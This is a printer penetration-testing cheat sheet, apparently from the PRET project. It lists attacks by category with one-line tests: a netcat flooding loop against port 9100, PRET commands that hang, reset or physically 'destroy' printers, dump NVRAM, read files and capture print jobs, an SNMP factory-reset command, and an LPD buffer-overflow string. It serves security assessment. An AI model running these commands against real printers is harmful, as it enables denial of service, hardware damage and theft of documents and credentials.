Printer Security Testing Cheat Sheet

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To systematically check for vulnerabilities in a printing device, first perform a generic network assessment and check for printer-specifc web based information leaks using Praeda. Then, use the following cheat sheet to quickly find flaws in printer languages and network protocols.

Category Attack Protocol Testing
Denial of service Transmission channel TCP while true; do nc printer 9100; done
Document processing PS PRET commands: disable, hang
PJL PRET commands: disable, offline
Physical damage PS PRET command: destroy
PJL PRET command: destroy
Privilege escalation Factory defaults SNMP snmpset -v1 -c public printer i 6
PML PRET command: reset
PS PRET command: reset
Accounting bypass TCP Connect to printer directly, bypassing the print server
IPP Check if you can set a username without authentication
PS Check if PostScript code is preprocessed on print server
PJL PRET command: pagecount
Fax and Scanner multiple Install printer driver and (ab)use fax/scan functionality
Print job access Print job retention PS PRET command: capture
Print job manipulation PS PRET commands: cross, overlay, replace
Information disclosure Memory access PJL PRET command: nvram dump
File system access PS PRET commands: ls, get, put, …
PJL PRET commands: ls, get, put, …
Credential disclosure PS PRET commands: lock, unlock
PJL PRET commands: lock, unlock
Code execution Buffer overflows PJL PRET command: flood
LPD ./ printer in "`python -c 'print "x"*3000'`"
Firmware updates PJL Flip a bit, check if the modified firmware is still accepted
Software packages multiple Obtain an SDK and write your own proof-of-concept application